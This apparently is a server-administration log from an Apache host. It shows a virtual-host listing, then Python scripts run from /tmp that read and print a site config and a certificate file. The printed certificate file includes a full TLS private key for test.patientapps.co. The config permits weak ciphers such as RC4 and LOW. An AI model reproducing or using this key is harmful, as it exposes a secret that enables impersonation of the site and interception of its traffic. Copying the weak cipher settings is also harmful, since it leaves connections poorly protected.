                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-20 12:43:29: 

PUT: /tmp/pkp834801

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_test_co.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-20 12:43:29: 

chmod 755 /tmp/pkp834801; /tmp/pkp834801; rm /tmp/pkp834801

2025-11-20 12:43:29: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_test_co.conf	1340

<VirtualHost *:80>
    ServerName	test.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_test
    <Directory /var/www/patientapps_test>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/test_access.log combined
    ErrorLog	/var/log/apache2/patientapps/test_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	test.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293
    DocumentRoot	/var/www/patientapps_test
    <Directory /var/www/patientapps_test>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/test_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/test_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-11-20 12:43:29: 

PUT: /tmp/pkp679931

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-20 12:43:29: 

chmod 755 /tmp/pkp679931; /tmp/pkp679931; rm /tmp/pkp679931

2025-11-20 12:43:29: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293	5360
68:42:d3:97:35:74:b7:0c:fc:32:e5:fa:ab:c8:a4:75

-----BEGIN CERTIFICATE-----
MIIFAzCCA+ugAwIBAgISBTsfSQUpgzKj8saT0oj/0EBiMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTIwMTE0NDU3WhcNMjYwMjE4MTE0NDU2WjAeMRwwGgYDVQQD
ExN0ZXN0LnBhdGllbnRhcHBzLmNvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAzMGunPKf+hafD/aDx95mT2fvj7MKE3dB2Lkw7jRlD52f7hTM5Xg9IO/4
LsPtVF+Mp/26dS9e/KogU3RagK15PWRmXjKr3vJYm+7e24WxqWQJiA2mE88ZoaIb
iRlmdsJUZQ3EIk7PuQT50/HJzdLmFDNnmPeBkBmaLDlHyYF3QW0MQ53DKATsSxDP
N7yA0LSTmo709xD4IXnewJPRqxMMJzkBLdgZ1KqhO3QBeRiZc8gfOYR2yFeqvNk8
Sug9AAlbdguOxIGLN30B+kP3Nmyy7q2zMAp1QjYwlDz1w7k37ytsS4lmmayKFx+7
Le08vNl1ELFjjI74jGmvTSp0gQiuhwIDAQABo4ICJDCCAiAwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBTY7R++pnCrtg6maYmr6nu8XLvkeDAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3Rlc3QucGF0aWVudGFw
cHMuY28wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy85OS5jcmwwggEFBgorBgEEAdZ5AgQCBIH2BIHz
APEAdwAZhtTHKKpv/roDb3gqTQGRqs4tcjEPrs5dcEEtJUzH1AAAAZqhSof1AAAE
AwBIMEYCIQD5o64y3e5TdH0Po1ZXpTuQNnAZ3icwqjkCi0xvIEXsJQIhANNeYcOA
L1+YTN60GiXghxWl+hY0+6aU14pr8Nlf6kaCAHYASZybad4dfOz8Nt7Nh2SmuFuv
CoeAGdFVUvvp6ynd+MMAAAGaoUqH9QAABAMARzBFAiAusTr1Vr8KjKFSGBWb5UHd
K6Qvx3qHoe8gxhFndA/E2wIhAJP+jjVNHgVkKQAom0kvdJSWzv4sEwRF2MnwZJDq
ybuCMA0GCSqGSIb3DQEBCwUAA4IBAQAjGcXbHfre2ML3+9vnUZxtCeQLNmcnLSmJ
0dpK0M3xIYG7ByM8AvOKCsVU05s2lqxjZiz9KZYg2K090Jq/URvl/uY4o7UCexeG
YHjZJF0yMqWavC2CarBK0r1Tm528HzNEkI0zh68LWWhRh/uDiB/ko1NQTmIN+MxZ
4/Oi6CSBGBJcq8Fs+Lia9lkNTcw9eXxV3lSSLpYgcwCpMuHH+lKi0WZh3zyGFdfk
AZUvDAhut4D/uENc6Bi44BS88t0cb33sm1KdK9T198JwphiWLu5xtDORS/9qp7YB
+ewkYyAzTTOoYm2bQQkPN9/jY/eQPXqUN33ZcE33bK4abQ1QnCU2
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDMwa6c8p/6Fp8P
9oPH3mZPZ++PswoTd0HYuTDuNGUPnZ/uFMzleD0g7/guw+1UX4yn/bp1L178qiBT
dFqArXk9ZGZeMqve8lib7t7bhbGpZAmIDaYTzxmhohuJGWZ2wlRlDcQiTs+5BPnT
8cnN0uYUM2eY94GQGZosOUfJgXdBbQxDncMoBOxLEM83vIDQtJOajvT3EPghed7A
k9GrEwwnOQEt2BnUqqE7dAF5GJlzyB85hHbIV6q82TxK6D0ACVt2C47EgYs3fQH6
Q/c2bLLurbMwCnVCNjCUPPXDuTfvK2xLiWaZrIoXH7st7Ty82XUQsWOMjviMaa9N
KnSBCK6HAgMBAAECggEAZW+yJHiiPlAEnvDeGh8YilAQQx1MaZZUHZypG+kDA/hv
qY/ObgPiLLYVOn2/zmPDl9nADJvaL8vMVeu3hjXqcTqS6CmsMbfXo/BzoUcbW7J+
clNoqjmYFhXsFEBsHXtqOeHW/7QRfjRz28bV1cycRPeuY/6BxjSYxz3dTXuA6/zK
ERSi+BxLJmBPV4shiTU5VRCeeFH/RTPA6oHlvApUZxLGWowl9nkAnK3qtsT94ugo
8ZdxF638fuMETGLNdLH33GqD/Il78vWiJqVSZGlt6j1AeLpnf5SSN9JWYh5g+nR8
db69aUXA0NvulXal4Y+zmA6Zf1g73/zkRbkn2a4JIQKBgQDnodDzqFEPVBS2vIv5
VA6xUKIaoHzlaF/BepYIWWQwC4SZRhjciTb4wX3tiOqOUrTvp8IFal2Ll4SQMuuW
u7ZXPY/KHO4ZPTF7lOMXfSW+oCM4iXjJOVbG/Nd77cCnwPgJcxh+yX8yLPv8C5X9
/I54FEYur1x68WnzVk8ylQFglwKBgQDiTBHNo9ZPctx6snGEJh7jws83k/V6mPiC
AlscSuzW+NIEr8iiXeMUUjOFpC/uQWEO/aVfpAy+loXTT2bCGsqAFPuIS4gOONNn
tKZXAExSRix4KMAMpBRAP2NokHGKeRydd9VTpbszUt6HeqyAjJpFHIJIBFkX8X2X
Z6enbQzvkQKBgQCkZ6IbjzgZnSAmo6TmDtdu20Bzjb2YRoDQnuWmf2ww/bvb3nj+
7xVpckyjMC7rXaC3CWcY2OoUjjK09q9oiUtemH9agTYuC9T3VjHpFhaYOqlFE637
hQsmqYd4msPHTZu/eUXFl9cEEhG4T7DiWUP1zs4RjL4jNP5yjKwhxsj3eQKBgQDQ
cf9oK0UJ86RRRLM5ZZ/IbjZPXHOelO87Wg4wlndoYNObS4wEu3Si0EDzFdSsov5T
P6Kn4UV3/NCSXy4pF2J17l3vIpvVddSNTyJ1OyoSEt99YxPb0PtyXrEjrQFY6sxH
5AzVOvCfivK9WmsxEdI8XNFIovCqFGB6KRmOJ+3lcQKBgD28Lq3Ibg4jo3IelJ9g
Jn7yBEvLA/iIh5bbCp53cq4VBoBAk8lVk8hDyGu2s5Bv6h6nBglx8fmRLrTpZ9vu
I72nPodwrr+sCdYEhnm1onZT0LoLZ59WPpckneuMXDbUIPzrVsT8Jqf6S1mZ163V
wmt3+FQ/jYJnzWMNb3WTVE3K
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
